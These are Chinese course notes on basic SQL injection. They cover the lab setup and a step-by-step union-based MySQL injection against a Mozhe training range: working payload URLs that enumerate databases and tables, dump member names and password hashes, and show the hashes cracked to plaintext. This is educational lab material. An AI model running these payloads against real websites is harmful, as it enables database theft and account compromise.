2020小迪培训(第12天 WEB 漏洞--SQL 注入之简要SQL注入)

WEB 漏洞-SQL 注入之简要SQL注入

​ 在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。(右边是重点

image-20210803155054964

SQL注入安全测试中危害

  • 危害数据库里的数据
  • 直接危害到网站的权限(需要满足条件)

SQL注入产生原理详细分析

  • 原理:通过参数传递将恶意SQL语句传到SQL语句,实现自定义的攻击方式
  • 产生的条件:变量可控、能带入数据库查询、变量未存在过滤和过滤不严谨
  • 小知识点
1   www.xiaodi8.com/index.php?id=8
2   www.xiaodi8.com/?id=10
3   www.xiaodi8.com/?id=10&x=1
4   www.xiaodi8.com/index.php

以上可能存在注入的编号选项
1 2 3 4都有可能存在 
2 相当于1,只是将index.php被省略了
3 就多加了一个参数
4 有post注入
参数x有注入,以下那个注入测试是正确的?

A www.xiaodi8.com/news.php?y=1 and 1=1&x=2
B www.xiaodi8.com/news.php?y=1&x=2 and 1=1
C www.xiaodi8.com/news.php?y=1 and 1=1 &x=2 and 1=1
D www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1

正确答案是 BC
A 错误的原因是注入点是x,却把注入的代码写在了y的后面
D 错误的原因是注入点是x,却没有出现x这个变量

!注意:我们在进行SQL注入的过程中应该明确注入点是哪个变量,在其后面加上我们需要注入的SQL语句,在使用工具的时候可能会默认在后面加上注入的SQL语句,这时候我们应该进行修改,使得能够成功在注入点后面加上代码,从而使注入能够成功。

搭建一个SQL注入学习靶场环境

  • 在这里,我们安装sqlilabs这个靶场(链接:https://github.com/Audi-1/sqli-labs)

  • 安装说明:

    1. 解压apache文件夹内的内容,例如/var/www
    2. 这将在其下创建一个文件夹sqlilabs,将下载的源码放在里面
    3. 打开 sql-labs 文件夹内 sql-connections 文件夹下的文件“db-creds.inc”。
    4. 更新您的 MYSQL 数据库用户名和密码。
    5. 从浏览器访问 sql-labs 文件夹以加载 index.html(http://127.0.0.1/sqlilabs/index.html)
    6. 单击链接 setup/resetDB 以创建数据库、创建表和填充数据。
    7. 准备使用的实验室,点击课程编号打开课程页面。
    8. 享受实验室

学习一个数据库mysql简单注入

MYSQL数据库
数据库A = 网站A = 数据库用户A
表名
列名
数据

数据库B=网站B=数据库用户B

数据库C=网站C=数据库用户C

如何判断注入点?
  • 老办法:
    and 1=1 页面正常
    and 1=2 页面错误
    可能存在注入点

  • 案例:
    SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常

    SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

  • 依据前提:

    逻辑运算符
    或 且 非
    or and xor

    真 且 真 = 真
    真 且 假 = 假
    真 或 假 = 真

  • 依据:

    SELECT * FROM users WHERE id=1 真
    1=1 真
    1=2 假

    真且真=真 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
    真且假=假 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误

  • 能不能用or判断?

    SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
    SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常

    不能!

  • 原因是什么?
    前面的语句为真的时候,不能判断第两个语句为真还是假

要选用最舒服的方法测试是否存在注入点

SELECT * FROM users WHERE id=1dadad(随便输入) LIMIT 0,1
在可能存在注入的变量后随便输入值后,存在三种情况:

  • 对网页有影响,说明带入数据库进行查询有注入点
  • 对网页没有影响,说明没有带入数据库查询,说明对应的参数没有漏洞
  • 网站出现404错误/自动跳转到其他页面,这个时候说明网站对输入的东西有检测,出现这种情况,基本不存在SQL注入漏洞

请添加图片描述

必要知识点(SQL注入)

1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

sql语句中union注入的流程(使用墨者里面的靶场)

image-20210807164311138

image-20210807164412862

  • 判断注入

    • 在使用上面最舒服的方式进行判断,可以看出id为注入点

    image-20210807164147607

    image-20210807164226087

  • 猜解列名数量(字段数)

    order by x(数字) 正常与错误的正常值

    正确的话网页正常显示,错误的话网页报错
    http://219.153.49.228:49521/new_list.php?id=1 order by 4
    测试后可以发现order by 4的时候网页正常,5后面的数字网页开始报错

    image-20210807164542591

    image-20210807164617359

  • 报错猜解准备

    http://219.153.49.228:49521/new_list.php?id=1 union select 1,2,3,4

    image-20210807164846004

    http://219.153.49.228:49521/new_list.php?id=-1 union select 1,2,3,4

    image-20210807164754309

  • 信息收集

    数据库版本:version() 5.7.22-0ubuntu0.16.04.1
    数据库名字:database() mozhe_Discuz_StormGroup
    数据库用户:user() root@localhost
    操作系统:@@version_compile_os Linux

    http://219.153.49.228:49521/new_list.php?id=-1 union select 1,version(),database(),4

    image-20210807165058315

    http://219.153.49.228:49521/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

    image-20210807165200395

  • 查询指定数据库名

    mozhe_Discuz_StormGroup下的表名信息:
    http://219.153.49.228:49521/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

    image-20210807165428573

  • 查询所有表名

    http://219.153.49.228:49521/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

    image-20210807165632729

  • 查询指定表名的全部列名

    StormGroup_member下的列名信息

    http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

    image-20210807165958533

  • 查询指定数据
    http://219.153.49.228:49521/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

    image-20210807170114283

  • 猜解多个数据(通过limit x,1 变动猜解)

    http://219.153.49.228:49521/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

    image-20210807170114283

    356f589a7df439f6f744ff19bb8092c0 MD5 解密 dsan13

    http://219.153.49.228:49521/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member%20limit%201,1

    image-20210807170822932

    31cc73aa7893cef0045188565f38b1123 MD5解密240206

  • 这里第一个账号密码被禁用,我们可以通过limit的方式查看其他密码 / 在账号相同的情况下,我们也可以用group_concat函数查看全部的密码,最后通过得到的账号密码就可以得到key

案例演示

  • 简易代码分析 SQL 注入原理

  • Sqlilabs 注入靶场搭建简要使用

  • 墨者靶机真实 MYSQL 注入演示

涉及资源

https://github.com/Audi-1/sqli-labs

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

最后感谢小迪师傅的视频!!

笔记来源视频:点击这里

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值